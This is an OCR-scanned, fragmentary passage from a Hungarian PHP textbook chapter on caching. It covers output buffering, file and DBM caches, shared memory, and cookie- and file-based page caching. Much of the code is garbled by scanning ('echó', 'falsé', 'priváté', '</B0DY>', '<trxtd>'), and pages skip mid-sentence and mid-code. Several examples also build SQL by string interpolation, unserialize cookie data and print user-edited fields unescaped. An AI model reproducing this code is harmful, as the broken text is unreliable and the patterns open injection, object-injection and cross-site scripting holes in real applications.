ig tart tehát, míg odalapozunk a kívánt számhoz. (Vagyis itt nagy tárterületről van szó, las-
sú eléréssel.) A gyakran használt számok könnyebb elérése érdekében készítettem egy
listát a hűtőszekrényem ajtaján családtagjaim, barátaim és a kedvenc pizzériáim telefon-
számairól. Ez egy igen rövid lista, így könnyen megtalálom rajta a keresett számot. (Vagyis
kis tárhely, gyors eléréssel.)
258 PHP fejlesztés felsőfokon
• Mely oldalak teljesen statikusak? Ha egy lap dinamikus, de teljesen statikus adatok
alapján készül el, lényegében statikusnak tekinthető.
• Mely oldalak statikusak elég hosszú ideig? Az „elég hosszú idő" persze meglehető-
sen megfoghatatlan fogalom - a legtöbb esetben itt napokra vagy órákra gondo-
lunk. Vannak persze különleges esetek is - a www. cnn. com frissítése néhány per-
cenként történik meg (világrengető eseményeknél percenként), ami a webhely for-
galmához mérve „elég hosszú időnek" számít.
• Mely adatok teljesen statikusak (például a hivatkozási táblák)?
• Mely adatok statikusak „elég hosszú ideig"? Számos webhelyen a felhasználók ada-
tai statikusak maradnak a látogatása alatt.
<?php
$OUtput = "<HTMLxBODY>";
$output .= "Today is " .strftime("%A, %B %e %Y");
$OUtput .= "</BODY></HTML>";
10. fejezet • Adatösszetevők átmeneti tárolása 261
echó $output;
cache($output);
?>
Aki még Perl alapú CGI programokkal tanulta a webprogramozást, valószínűleg belebor-
zong e sorok látványába. Akinek nincs ilyen tapasztalata, kísérletet tehet arra, hogy elkép-
zelje, milyen is lehetett az a korszak, amikor a webes programok így néztek ki.
A kimenettárolással a program ismét emberi alakot ölt. Mindössze annyit kell tennünk,
hogy az oldal előállítása elé beszúrjuk az alábbi sort:
<HTML>
<BODY>
Today is <?= strftime("%A, %B %e %Y") ?>
</BODY>
</HTML>
<?php
$output = ob_get_contents() ;
ob_end_flush();
cache($output);
?>
<?php
echó "Hello World";
header("Content-Type: text/plain");
?>
A HTTP válaszokban a fejléceknek az üzenet elejére kell kerülniük, minden más tartalom
elé (amint azt nevük is mutatja). Mivel a PHP alapértelmezésben azonnal elküldi a előállí-
tott tartalmat, ha a fejléceket az oldal szövege után küldjük el, hibaüzenetet kapunk. Ha
azonban tárolást használunk a kimeneten, a válasz törzsének átküldése csak a f lush ()
utasítással történik meg, így a fejlécek a szöveggel együtt érkeznek meg. Következéskép-
pen az alábbi kód jól működik:
<?php
ob_start();
echó "Hello World";
header("Content-Type: text/plain");
ob_end_flush();
?>
Gyorstárak a memóriában
A szálak, illetve a folyamathívások közti erőforrás-megosztás megszokott lehet azok szá-
mára, akik Java nyelven, illetve mod__per l-ben programoznak. A PHP-ban azonban a fel-
használói adatszerkezetek megsemmisülnek a kérelem lezárásakor. Ez azt jelenti, hogy az
erőforrásokon (például állandó adatbázis-kapcsolatokon) kívül minden általunk készített
objektum elérhetetlenné válik a következő kérelmek kezelésénél.
A fájl alapú gyorstárak különösen jól használhatók olyan alkalmazásoknál, melyek egy-
szerűen az include () -ot használják a tárolófájlon, vagy közvetlenül fájlként használják.
Jóllehet elképzelhető, hogy egyes változókat vagy objektumokat tároljunk fájl alapú
gyorstárakban, nem ez az a felhasználási terület, ahol e módszert a leghatékonyabban ki-
használhatjuk.
A fájlrendszer valójában egy fa, ami ágakból (könyvtárak) és levelekből (fájlok) áll. Ha az
fopen( "/path/to/f ile.php", $mode) utasítással megnyitunk egy fájlt, az operációs
rendszer végighalad a megadott útvonalon. A gyökérkönyvtártól indul, megnyitja, majd
megvizsgálja a tartalmát. A könyvtár valójában egy táblázat, ami fájlok és könyvtárak ne-
veit tartalmazza, valamint a hozzájuk tartozó leíró csomópontokat (inode). A fájlnévhez
tartozó leíró csomópont a fájl fizikai helyét mutatja a lemezen. Ez egy fontos apróság:
a fájlnév nem fordítható le közvetlenül fizikai helyre - a hozzá tartozó leíró csomópont
10. fejezet • Adatösszetevők átmeneti tárolása 265
adja meg a tárolás helyét. Ha megnyitunk egy fájlt, egy fájlmutatót kapunk vissza - ezt az
operációs rendszer összeköti a fájl leíró csomópontjával, így végül tudja, hol találja meg
az adatokat a lemezen. Itt ismét felhívjuk a figyelmet egy fontos apróságra: az f open ()
alkalmazása után kapott fájlmutató a leíró csomópontra vonatkozó adatokat tartalmaz -
nem a fájlnévre.
Ha a fájlunkon csak írási és olvasási műveleteket végzünk, akkor az a gyorstár, amelyik fi-
gyelmen kívül hagyja ezt az apróságot, úgy viselkedik, ahogy vártuk - egyedüli tárként az
adott fájlhoz. Ez veszélyes lehet, hiszen ha éppen akkor írunk a fájlba, amikor olvasási mű-
veletet is végzünk (mondjuk egy másik folyamatban), elképzelhető, hogy részben az új,
részben a régi fájl tartalmához jutunk hozzá. Természetesen ez hibás adatokat eredményez.
Lássunk egy példát arra, hogyan is próbálhatunk gyorstárat alkalmazni egy oldal tartalmára:
<?
if(file_exists("first.cache")) {
include("first.cache");
return;
}
else {
// fájl megnyitása 'w' módban, csonkolva az íráshoz
$cachefp = fopen("first.cache", "w");
ob_start();
}
?>
<HTML>
<BODY>
<!-- Cacheable for a day -->
Today is <?= strftime("%A, %B %e %Y") ?>
</B0DY>
</HTML>
<?
if( $cachefp) {
$file = ob_get_contents() ;
fwrite($cachefp, $file);
ob_end_flush();
}
?>
A felmerülő gondokat a 10.1. ábra mutatja. Láthatjuk, hogy a párhuzamosan végzett írás
és olvasás felveti a hibás adatok megjelenésének lehetőségét.
266 PHP fejlesztés felsőfokon
• f lock - Az f lock, amely a BSD 4.2-es változatában jelent meg, képes teljes fájlok
osztott (olvasás) és kizárólagos (írás) zárolására.
10. fejezet • Adatösszetevők átmeneti tárolása 267
• fenti - Az fenti, amely a POSIX szabvány része, képes fájlok részeinek osztott
vagy kizárólagos zárolására (ez azt jelenti, hogy meghatározott bájtsorozatokat zá-
rolhatunk, ami különösen adatbázisoknál vagy olyan alkalmazásoknál lehet hasz-
nunkra, ahol szeretnénk lehetővé tenni, hogy a folyamatok egyszerre a fájl több ré-
szét módosítsák).
Mindkét módszer fontos alaptulajdonsága, hogy ha egy folyamat kilép, az általa fenntar-
tott zárak is megszűnnek. Ez azt jelenti, hogy ha egy zárat fenntartó folyamatban valami-
lyen hiba következik be (például a webkiszolgáló futó folyamata szegmentációs hibát
okoz), a rendszer feloldja a zárat, ami megvéd a holtpont kialakulásától.
A PHP a teljes fájlok zárolásánál az f lock () alkalmazása mellett döntött. A sors fura fin-
toraként a legtöbb rendszer ezt az fenti segítségével valósítja meg. De lássunk most egy
példát, miként alkalmazhatunk gyorstárat a fájlzárolás lehetőségeit kihasználva:
<?php
$file = $_SERVER['PHP_SELF'];
$cachefile = "$file.cache";
Elsőre kissé zavaros lehet a kép, így hát nézzük meg lépésenként, mi is történik itt.
Amennyiben a gyorstárfájl hossza nem nulla, és a zárolás sikeres, meghívhatjuk a readf ile
függvényt, mellyel kiolvashatjuk a fájl tartalmát. De alkalmazhatjuk az include () -ot is,
mellyel bármilyen, a fájlban levő literális PHP kódot végrehajthatunk. (A readf ile ezt csak
a kimeneti tárba írja.) Elképzelhető persze, hogy a közvetlen futtatás nem megfelelő mód-
szer. Itt a biztonsági játék mellett döntünk, és a readf il e-t használjuk.
Amennyiben az előző feltétel nem teljesül, kizárólagos zárat alkalmazunk a fájlra. Ha már
ide kerültünk, alkalmazhatunk nem blokkoló zárolást. Ha végre sikerrel jártunk, megnyit-
hatjuk a fájlt írásra és kezdhetjük a kimenettárolást.
A fájl eltávolítása után megnyithatunk egy új fájlt ugyanazzal a névvel. A nevek egyezése
ellenére az operációs rendszer ezt a fájlt nem a régi leíró csomóponthoz kapcsolja, hanem
új tárterületet foglal a számára. Vagyis minden rendelkezésre áll ahhoz, hogy könnyedén
megőrizzük az adatok épségét.
<?php
$cachefile = "{$_SERVER['PHP_SELF']}.cache" ;
if(file_exists($cachefile)) {
include($cachefile) ;
return;
}
else {
$cachefile_tmp = $cachefile.".".getmypid() ;
$cachefp = fopen($cachefile_tmp, "w");
ob_start() ;
}
270 PHP fejlesztés felsőfokon
?>
<HTML>
<BODY>
<!-- Cacheable for a day -->
Today is <?= strftime("%A, %B %e %Y") ? >
</BODY>
</HTML>
<?php
if( $cachefp) {
$file = ob_get_contents();
fwrite($cachefp, $file);
fclose($cachefp);
rename($cachefile_tmp, $cachefile);
ob_end_flush();
}
?>
Mivel soha nem írunk közvetlenül a gyorstárfájlba, tudhatjuk, hogy amennyiben létezik, tel-
jes, így feltétel nélkül beágyazhatjuk. Ha a fájl nem létezik, magunknak kell elkészítenünk.
Megnyitunk hát egy ideiglenes fájlt, melynek nevéhez hozzáfűzzük a folyamat azonosítóját:
$cachefile_tmp = $cachefile.".".getmypid();
Adott időpontban csak egyetlen folyamat rendelkezhet a kérdéses azonosítóval, ami biz-
tosítja a fájlnév egyediségét. (Ha mindezt az NFS-ben vagy más hálózati fájlrendszerben
tesszük, szükség van további lépésekre - erről a fejezet későbbi részében szólunk.) Meg-
nyitjuk saját ideiglenes fájlunkat, és bekapcsoljuk a kimenettárolást. Elkészítjük a teljes ol-
dalt, kiírjuk a kimenettár tartalmát az ideiglenes gyorstárfájlba, és átnevezzük ezt az „igazi"
gyorstárfájllá. Ha mindezt párhuzamosan több folyamat is megkísérli megtenni, az utolsó
nyer - ami ez esetben nem okoz gondokat.
A felhasználói szerződésekről
A szerződések különbségei nem igazán izgalmasak azok számára, akik csak szabadidejü-
ket töltik a fejlesztéssel, a kereskedelmi forgalomra szánt alkalmazásoknál azonban az
utolsó apró részletig meg kell értenünk a korlátozásokat. így például ha hivatkozunk egy
könyvtárra, ami a GPL alá tartozik, lehetővé kell tennünk, hogy alkalmazásunk forráskód-
ja minden vásárlónk számára elérhetővé váljon. A Sleepycat DB4 dbm-je esetében pedig
külön felhasználási engedélyt kell vennünk kereskedelmi alkalmazás készítése esetén.
Próbáljuk ki, miként használhatunk egy DBM fájlt gyorstár megvalósítására. Tegyük fel,
hogy egy nyilvántartási felületet készítünk reklámajánlatok számára. Minden ajánlat egye-
di azonosítóval rendelkezik, és elkészítettük az alábbi függvényt:
A függvény megszámolja, hány különböző felhasználó iratkozott fel egy adott ajánlathoz.
A függvény kódja a következő:
function showConversion($promotionID) {
$db = new DB_MySQL_Test ;
$row = $db->execute("SELECT count(distinct(userid)) cnt
FROM promotions
WHERE promotionid = $promotionid")->fetch_assoc() ;
return $row['cnt'];
}
Ezt közvetlenül a függvényben is megtehetjük, mindössze meg kell nyitnunk egy DBM
fájlt, és amennyiben lehetőség van rá, inkább onnan kiolvasni az eredményt:
function showConversion($promotionID) {
$gdbm = dba__popen ("promotionCounter . dbm" , " c " , "gdbm");
i f ( ( $ c o u n t = dba_fetch($promotionid, $gdbm)) !== falsé) {
return $count;
}
$db = new DB_MySQL_Test;
$row = $db->execute("SELECT count(distinct(userid)) cnt
FROM promotions
WHERE promotionid = $promotionid");
dba_replace($promotion, $ r o w [ 0 ] , $gdbm);
return $row['cnt'];
}
10. fejezet • Adatösszetevők átmeneti tárolása 273
A szerkezet nélküli fájlokkal megvalósított gyorstáraktól eltérően itt nem a fájlok frissítésé-
nek mikéntjében rejlik a nehézség, hiszen a dba_replace és a dba_insert függvények
elvégzik helyettünk ezt a munkát. A gond ott van, hogy tudnunk kell arról, mikor kell
egyáltalán frissítenünk. A DBM fájlok ugyanis nem tartalmazzák az egyes sorok módosítá-
sainak idejét, így egy adatról nem tudhatjuk, hogy egy másodperce vagy egy hete került
a gyorstárba.
function showConversion($promotionID) {
$gdbm = dba_popen("promotionCounter.dbm", " c " , "gdbm");
// ha bejött az 1 a 3000-ből, nem keressük a kulcsot,
// hanem egyszerűen újra beillesztjük
274 PHP fejlesztés felsőfokon
if ( r a n d ( 3 0 0 0 ) > 1) {
if($count = dba_fetch($promotionid, $gdbm)) {
return $count;
}
}
$db = new DB_MySQL_Test;
$row = $db->execute("SELECT count(distinct(userid)) cnt
FROM promotions
WHERE promotioníd = $promotionid")->fetch_assoc();
dba_replace($promotion, $ r o w [ 0 ] , $gdbm);
return $row[cnt];
}
A gyorstár adatai elavulásának követéséhez készíthetünk egy olyan osztályt, amely kezeli
a hívásait, ugyanakkor rögzíti a bejegyzések módosításának idejét, és törődik az adatok
elavulásával:
<?php
class Cache_DBM {
priváté $dbm;
priváté $expiration;
function___ construct($filename, $expiration=3600) {
$this->dbm = dba_popen($filename, "c", "ndbm");
$this->expiration = $expiration;
}
function put($name, $tostore) {
$storageobj = array('object' => $tostore, 'time' => time());
dba_replace($name, serialize($storageobj), $this->dbm);
}
function get($name) {
$getobj = unserialize(dba_fetch($name, $this->dbm));
if(time() - $getobj[time] < $this->expiration) {
return $getobj[object];
}
else {
10. fejezet • Adatösszetevők átmeneti tárolása 275
dba_delete($name, $this->dbm);
return falsé;
}
}
function delete($name) {
return dba_delete($name, $this->dbm);
}
}
?>
<?php
require_once 'Cache/DBM.inc';
$cache = new Cache_DBM("/path/to/cachedb");
?>
A tárolás és a keresés egy kulcsnév alapján történik, melyet nekünk kell megadnunk. így
például a Foo objektum tárolásához és új példányának létrehozásához az alábbiakat kell
tennünk:
A könyvtárban ez egy tömböt hoz létre, amely tartalmazza a $f oo értékét, valamint az ak-
tuális időt, végül pedig becsomagolja („sorosítja") az eredményt. Az eredmény bekerül
a gyorstár DBM fájljába, és a foo kulcs azonosítja. A sorosításra azért van szükség, mert
a DBM fájlok csak karakterláncokat képesek tárolni. (Valójában bármilyen, bináris adato-
kat tartalmazó sorozat tárolására képes, de ezekre a PHP mind karakterláncként tekint.)
Ha van már valamilyen adat a foo kulcs alatt, a rendszer kicseréli az újra. Egyes DBM il-
lesztők (például a DB4) támogatják, hogy adott kulcshoz több érték is tartozzon, a PHP
azonban e tekintetben még nem érte utol őket.
276 PHP fejlesztés felsőfokon
$obj = $cache->get('foo');
A get belső szerkezete némiképp összetett. Ahhoz, hogy visszakapja a tárolt objektumot,
előbb meg kell keresnie a kulcs alapján. Ezután visszaírja a tárolójába, és összehasonlítja
a beillesztés idejét a konstruktorban meghatározott lejárati idővel. Amennyiben a tartalom
még nem elavult, eljut a felhasználóhoz, egyébként pedig a program törli a gyorstárból.
Ha ezt az osztályt valós életbéli feladatokra használjuk, először egy get () hívással meg-
nézzük, van-e érvényes másolat az adatból a gyorstárban - amennyiben nincs, egy put ()
hívással feltöltjük friss adatokkal.
<?php
class Foo {
public function i d ( ) {
return "I ara a Foo";
}
}
reguire_once 'Cache/DBM.inc';
$dbm = new Cache_DBM("/data/cachefiles/generic");
if($obj = $dbm->get("foo")) {
// Találat, a $obj értékét kerestük
print $obj->id();
}
else {
// Nincs találat, készítünk egy új $obj objektumot, és elhelyezzük
// a gyorstárban
$obj = new Foo() ;
$dbm->put("foo" , $obj) ;
print $obj->id();
}
// ... használjuk a $obj értékét tetszés szerint
?>
• A kulcsok neveinek meghatározása nem automatikus, így nekünk kell tudnunk, hogy
a f oo kulcs a Foo objektumra utal. Ez jól működik egyelemű adatszerkezeteknél, de
bármilyen összetettebb esetben szükség van valamilyen elnevezési szabályra.
A DBM fájlok figyelemreméltó tulajdonsága, hogy méretük soha nem csökken. A rendszer
újra és újra felhasználja a fájlon belüli területet, a fájlméret maga azonban csak nőhet - so-
ha nem csökken. Ha tehát komolyan igénybe vesszük a gyorstárat (gyakoriak a beilleszté-
sek, és az adatok sokszor cserélődnek), valamilyen formában szükség van rendszeres kar-
bantartására. A fájl alapú gyorstárakhoz hasonlóan a költségek csökkentéséhez szükség
lehet a DBM fájlok törlésére és újbóli létrehozására.
function garbageCollection() {
$cursor = dba_firstkey($this->dbm);
while(Scursor) {
$keys[] = $cursor;
$cursor = dba_nextkey($this->dbm);
}
foreach( $keys as $key ) {
$this->get($key);
}
}
Egy sormutató (kurzor) segítségével haladunk végig a gyorstár kulcsain, tároljuk azokat,
majd sorban meghívjuk rájuk a get () függvényt. Amint a korábbiakban már említettük,
a get () eltávolítja az elavult bejegyzéseket, a frissek esetén pedig egyszerűen figyelmen
kívül hagyhatjuk a visszatérési értéket. Ez a módszer kissé hosszabbnak tűnik a szüksé-
gesnél - ha a get () függvényt az első while ciklusba helyeznénk, a kód olvashatóbbá
válna, és egy teljes ciklust nyernénk.
Sajnálatos módon a DBM legtöbb megvalósítása nem képes helyesen kezelni a kulcsok
eltávolítását, miközben a program végighalad rajtuk. Ezért van hát szükség erre a kétlépé-
ses eljárásra, amely biztosítja, hogy valóban sorra vegyünk minden kulcsot.
278 PHP fejlesztés felsőfokon
Az ehhez hasonló szemétgyűjtés költséges dolog, így hát nem érdemes a kelleténél több-
ször elvégeznünk. Láttam olyan programokat, ahol a szemétgyűjtési eljárást minden oldal-
kérelem után meghívták, hogy biztosítsák a gyorstár kis méretét. Ez a módszer súlyos
adattorlódásokat okozhat a rendszerben. Sokkal jobb megoldás, ha a szemétgyűjtést
a cron ütemezett feladatai közé vesszük fel, így nem sok vizet zavar.
Ugyanezt megtehetjük a PHP-ben is, de itt ez egy kevésbé alkalmas megoldás. A gondot
az osztott memóriakezelő függvények „szűk látóköre" (vagy „finom szemcsézettsége", ha
úgy tetszik) okozza. Az shm_get_var és az shm_put_var segítségével (melyeket
a sysvshm bővítményben találhatunk meg) könnyen tárolhatunk és olvashatunk ki válto-
zókat. Mindazonáltal nem létezik olyan függvény, mellyel megkaphatnánk a szegmens-
ben jelen levő elemek listáját, ami gyakorlatilag lehetetlenné teszi, hogy egyszerűen vé-
gighaladjunk a gyorstáron. Emellett, ha az elérések jellemzőit is tárolni szeretnénk vala-
hogy, ezt is csak az elemeken belül tehetjük meg - ami csaknem kizárja az „okos" gyors-
tárkezelés lehetőségét.
lyezni egy szegmensen belül. Mivel a PHP a memóriakezelés feladatát átveszi a felhaszná-
lóktól, meglehetősen nehéz saját adatszerkezeteket megvalósítanunk az shmop_open ()
által visszaadott memóriaszegmenseken.
A System V IPC további hiányossága, hogy az osztott memória nem rendelkezik hivatko-
zásszámlálással. Ha használatba veszünk egy osztott memóriaszegmenst, és anélkül lépünk
ki, hogy felszabadítanánk, ezt az erőforrást örök időkre lefoglaltuk. A System V erőforrásai
egy közös tárolóból kerülnek ki, így még a ritka alkalmanként elvesztett szegmensek is ko-
moly gondokat okozhatnak. Mindemellett, még ha a PHP meg is valósította volna a hivat-
kozásszámlálást (mint ahogy nem tette), mindez továbbra is gondokat okozna, ha a PHP,
illetve a hozzá tartozó kiszolgáló váratlanul összeomlana. Egy tökéletes világban persze
ilyesmi nem fordulhat elő, de az alkalmankénti szegmentációs hibák nem ismeretlenek
a nagy terhelés alatt működő webkiszolgálókon. Mindebből tanulságként annyit szűrhe-
tünk le, hogy a System V osztott memóriájára nem érdemes gyorstárat építenünk.
Gyakran használják a sütiket arra, hogy nyomon kövessék a felhasználók kilétét, és ennek
alapján jussanak hozzá az egyéni adatokhoz az egyes oldalakon. Megtehetjük azonban azt
is, hogy a sütikben ez utóbbi adatokat is átadjuk.
Vegyünk például egy hírportált, melynek böngészősávján három testreszabható rész talál-
ható. Ezek tartalma az alábbiak közül kerülhet ki:
<?php
require 'DB.inc';
class User {
public $name;
280 PHP fejlesztés felsőfokon
public $id;
public function___ construct($id) {
$this->id = $id;
$dbh = new DB_Mysql_Test;
$cur = $dbh->prepare("SELECT
name
FROM
users u
WHERE
userid = : 1" ) ;
$row = $cur->execute($id)->fetch_assoc();
$this->name = $row['name'];
}
public function get_interests() {
$dbh = new DB_Mysql_Test();
$cur = $dbh->prepare("SELECT
interest,
position
FROM
user_navigátion
WHERE
userid = : 1") ;
$cur->execute($this->userid);
$rows = $cur->fetchall_assoc() ;
$ret = array () ;
foreach($rows as $row) {
$ret[$row['position']] = $row['interest'] ;
}
return $ret;
}
public function set_interest($interest, $position) {
$dbh = new DB_Mysql_Test;
$stmtcur = $dbh->prepare("REPLACE INTŐ
user_navigátion
SET
interest = :1
position = :2
WHERE
userid = : 3 ") ;
$stmt->execute($interest, $position, $this->userid);
}
}
?>
<?php
$userid = $_COOKIE['MEMBERID'];
$user = new User($userid);
if(!$user->name) {
header("Location: /login.php");
}
$navigation = $user->get_interests();
?>
<table>
<tr>
<td>
<table>
<trxtd>
<?= $user->name ? > ' s Home
<trxtd>
<!-- 1. hely a böngészősávon -->
<?= generate_navigation_element($navigation[1] ) ?>
</tdx/tr>
<trxtd>
<!-- 2. hely a böngészősávon -->
<?= generate_navigation($navigation[2 ]) ?>
</tdx/tr>
<trxtd>
<!-- 3. hely a böngészősávon -->
<?= generate_navigation($navigation[3]) ?>
</tdx/tr>
</table>
</td>
<td>
<!-- az oldal törzse (minden felhasználónál azonos tartalom) -->
</td>
</tr>
</table>
Amikor egy felhasználó belép az oldalra, a program az azonosítója alapján kikeresi a hoz-
zá tartozó bejegyzést a táblából. Amennyiben a felhasználó még nincs benn az adatbázis-
ban, a program átirányítja a kérelmet a bejelentkezési oldalra a Location: HTTP átirá-
nyító fejléccel. Egyébként kiolvassa a felhasználói beállításokat a get_interests () tag-
függvénnyel, és ezek alapján elkészíti az oldalt.
282 PHP fejlesztés felsőfokon
Ezt a célt úgy érhetjük el, ha nemcsak a felhasználó nevét, de a beállításait is egy sütiben
tároljuk. Lássunk egy egyszerű burkoló osztályt ennek megvalósításához:
class Cookie_UserInfo {
public $name;
public $userid;
public $interests;
public function _____ construct($user = falsé) {
if($user) {
$this->name = $user->name;
$this->interests = $user->interests();
}
else {
if(array_key_exists("USERINFO", $_COOKIE)) {
list($this->name, $this->userid, $this->interests) =
unserialize($_cookie['USERINFO']);
}
else {
throw new AuthException("no cookie");
}
}
}
public function send() {
$cookiestr = serialize(array($this->name,
$this->userid,
$this->interests));
set_cookie("USERINFO", $cookiestr);
}
}
class AuthException {
public $message;
public function __ construct($message = falsé) {
if($message) {
$this->message = $message;
}
}
}
10. fejezet • Adatösszetevők átmeneti tárolása 283
Ebben a kódrészletben két újdonsággal találkozhatunk. Először is, példát láthatunk arra,
miként lehet egy sütiben több adategységet tárolni. Jóllehet most csak a name, az ID és az
interests tömb szerepel adatként, mivel a serialize függvényt használjuk, bármi-
lyen összetett változót tárolhatnánk. Másodszor, felfedezhetünk egy kódrészletet, amely
kivételt vált ki, ha a felhasználónak nincs sütije. Ez tisztább módszer, mint a tulajdonságok
létezésének ellenőrzése (a korábbi gyakorlatunk), és igen hasznos, ha több ellenőrzést is
végzünk. (Minderről többet a 13. fejezetben tudhatunk meg.)
try {
$usercookie = new Cookie_UserInfo();
}
catch (AuthException $e) {
header{"Location /login.php");
}
$navigation = $usercookie->interests;
?>
<table>
<tr>
<td>
<table>
<trxtd>
<?= $usercookie->name ?>
</tdx/tr>
<?php for ($i=l; $i<=3; $i++) { ?>
<trxtd>
<!-- 3. hely a böngészősávon -->
<?= generate_navigation($navigation[$i] ) ?>
284 PHP fejlesztés felsőfokon
</tdx/tr>
<?php } ?>
</table>
</td>
<td>
<!-- az oldal törzse (minden felhasználónál azonos tartalom) -->
</td>
</tr>
</table>
Bájtzabálók
Ezzel csak arra utalunk, hogy érdemes mindenre egy átfogóbb nézőpontbői tekinteni.
A HTML kód összehúzása sok esetben hatékonyabb, mintha a kisebb részekkel próbál-
nánk kíméletlenül elbánni.
10. fejezet • Adatösszetevők átmeneti tárolása 285
Ha azonban egy felhasználó több böngészőt használ (mondjuk egyet otthon, egyet pedig
a munkahelyén), az A böngészőben végzett módosítások láthatatlanok maradnak, amikor
a B böngészőből nézi az adott oldalt, amennyiben ez is rendelkezik saját gyorstárral. Első
ránézésre nincs itt különösebb gond - csak követnünk kell az IP címek segítségével, me-
lyik böngészőt használja a felhasználó, és minden váltásnál érvényteleníteni a gyorstár tar-
talmát. Sajnos ezzel az egyszerű módszerrel két gond is akad:
Bemutatott példáinkban sok esetben a Gyorstárak szerkezet nélküli fájlokban címszó alatt
megismert fájlváltási módszert használjuk. A megoldási módszert itt az alkalom szülte, és
a kódot a Cache_File osztállyal kell beburkolnunk a dolgok egyszerűbbé tételére (ha-
sonlóan a Cache_DBM osztályhoz):
<?php
class Cache_File {
protected $filename;
protected $tempfilename;
protected $expriration;
protected $fp;
Ezt a típusú gyorstárat gyakran használják kimeneti tárból származó oldalak tárolására, így
két „kényelmi" függvényt - begin () és end () - használhatunk a kimenet tárolására
a put () helyett:
A kimenet kiadása előtt a begin () , utána pedig az end () tagfüggvényt kell meghívnunk.
<?php
require_once 'Cache/File.inc';
$cache = Cache_File("/data/cachefiles/index.cache") ;
if($text = $cache->get()) {
print $text;
}
else {
$cache->begin();
?>
<?php
// itt állítjuk elő az oldalt
?>
<?php
$cache->end();
}
?>
288 PHP fejlesztés felsőfokon
Honlapok tárolása
Az alábbiakban megvizsgáljuk, miként alkalmazhatjuk az eddig megismert gyorstárakat egy
olyan webhelyen, amely lehetővé teszi, hogy a felhasználók nyílt forrású projekteket je-
gyezzenek be, és személyre szabott lapokat készítsenek számukra (ilyen a pear. php. net
vagy a www. f reshmeat. net). Webhelyünk jelentős forgalmat bonyolít le, így a gyorstára-
kat arra szeretnénk használni, hogy felgyorsítsuk az oldalbetöltést és némileg tehermente-
sítsük az adatbázist.
Kezdjük a munkát egy egyszerű projekt honlapjával, melyen az alábbi egyszerű adatokat
találhatjuk meg:
class Project {
// A projekt jellemzői
public $name;
public $projectid;
public $short_description;
public $authors;
public $long_description;
public $file_url;
Az osztály konstruktora egy nevet is átvehet. Ha ezt megadjuk a számára, megkísérli be-
tölteni a projekt részleteit. Ha nem találja a projektet a neve alapján, kivételt vált ki. Lás-
suk, miként:
FROM
projects
WHERE
name = : 1");
$cur->execute($name);
$row = $cur->fetch_assoc();
if($row) {
$this->name = $name;
$this->short_description = $row['short_description'];
$this->author = $row['author'];
$this->long_description = $row['long_description'];
$this->file_url = $row['file_url'];
}
else {
throw new Exception;
}
}
}
Mivel most gyorstárfájlokat írunk ki, tudnunk kell, hová tegyük azokat. Készíthetünk szá-
mukra egy helyet a $CACHEBASE globális beállítási változó segítségével, amely a gyorstár-
fájlok tárolásának legfelső szintű könyvtárát adja meg.
Megoldás lehet az is, ha létrehozunk egy Conf ig globális egyke (singleton) osztályt,
amely minden beállítási paraméterünket tárolja majd. A Proj ect osztályban készíthetünk
egy get_cachef ile () tagfüggvényt, amely megadja az adott projekt gyorstárfájljának
útvonalát:
A projekt oldala valójában egy sablon, melyet a megadott részletekkel töltünk fel. így biz-
tosíthatjuk a teljes webhely kinézetének összhangját.
A projekt nevét az oldalnak GET paraméterként adjuk át (az URL valahogy így fest:
http: //www. example. com/project .php?name=ProjectFoo), majd összeállítjuk az
oldalt:
<?php
reguire 'Project.inc';
try {
$name = $_GET['name'];
if(!$name) {
throw new ExceptxonO;
}
$project = new Project($name);
}
catch (Exception $e) {
// Ha bármilyen hiba történik, a látogató ide kerül
header("Locat ion: /index.php");
return;
}
?>
<html>
<title><?= $project->name ?></title>
<body>
<!-- boilerplate text -->
<table>
<tr>
<td>Author: </tdxtd><?= $project->author ?>
</tr>
10. fejezet * Adatösszetevők átmeneti tárolása 291
<tr>
<td>Summary: </tdxtdx? = $project->short_description ?>
</tr>
<tr>
<td>Availability:</td>
<tdxa href="<?= $project->file_url ?>">click here</ax/td>
</tr>
<tr>
<td><?= $project->long_description ?></td>
</tr>
</table>
</body>
</html>
Szükség van egy olyan oldalra is, ahol a szerzők saját oldalaikat szerkeszthetik:
<?
require_once 'Proj ect.inc';
$name = $_REQUEST['name'];
$project = new Project($name);
if(array_key_exists("posted", $_POST)) {
$proj ect->author = $_POST['author'];
$project->short_description = $_POST['short_description'] ;
$project->file_url = $_POSTt'file_url'];
$project->long_description = $_POST['long_description'];
$project->store();
}
?>
<html>
<title>Project Page Editor for <?= $project->name ?> </title>
<body>
<form name="editproject" method="POST">
<input type ="hidden" name="name" value="<?= $name ?>">
<table>
<tr>
<td>Author:</td>
<tdxinput type="text" name=author value="<?= $project->author
■ ?>" ></td>
</tr>
<tr>
<td>Summary:</td>
<td>
-cinput type="text"
name=short_description
value="<?= $project->short_description ?>">
</td>
</tr>
<tr>
<td>Availability:</td>
<tdxinput type="text" name=file_url value="<?= $project-
>file_url?>"></td>
</tr>
<tr>
<td colspan=2>
<TEXTAREA name="long_description" rows="20" c ol s = " 8 0" > < ?=
$project->
long_description ?></TEXTAREA>
</td>
</tr>
</table>
<input type=submít name=posted value="Edit content">
</form>
</body>
</html>
<?php
require_once 'Cache_File.inc';
require_once 'Project.inc';
try {
$name = $_GET['name'];
if(!$name) {
throw new ExceptionO;
}
$cache = new Cache_File(Project::get_cachefile($name));
if($text = $cache->get()) {
print $text;
return;
}
$project = new Project($name);
}
catch (Exception $e) {
// Hiba esetén ide kerülünk
header("Locat ion: /index.php");
return;
}
$cache->begin();
?>
<html>
<title><?= $project->name ?></title>
<body>
<!-- boilerplate text -->
10. fejezet • Adatösszetevők átmeneti tárolása 293
<table>
<tr>
<td>Author :</tdxtd><?= $project->author ?>
</tr>
<tr>
<td>Summary:</tdxtd><?= $project->short_description ? >
</tr>
<tr>
<td>Availability: </tdxtdxa href="<?= $project->f ile_url
?>">click here</ax/td>
</tr>
<tr>
<tdx?= $project->long_description ?x/td>
</tr>
</table>
</body>
</html>
<?php
$cache->end();
?>
Mindezidáig nem foglalkoztunk az elavulás kérdésével, így a tárolt másolat soha nem fris-
sül - ami nem valami jó hír. Alkalmazhatunk lejárati időt az oldalon, melynek letelte után
a program automatikusan frissíti a tartalmat. Ez azonban nem a legjobb megoldás, mivel
nem pontosan felel meg az igényeinknek. A tárolt adatok ugyanis akármeddig érvényesek
maradhatnak, míg valaki meg nem változtatja azokat. Valójában tehát azt szeretnénk,
hogy a tartalom mindaddig érvényes maradjon, míg az alábbi két dolog valamelyike be
nem következik:
<?php
require_once 'Cache/File.inc';
require_once 'Project.inc';
294 PHP fejlesztés felsőfokon
// eltávolítjuk a gyorstárfájlt
$cache = new Cache_File(Project::get_cachefile($name));
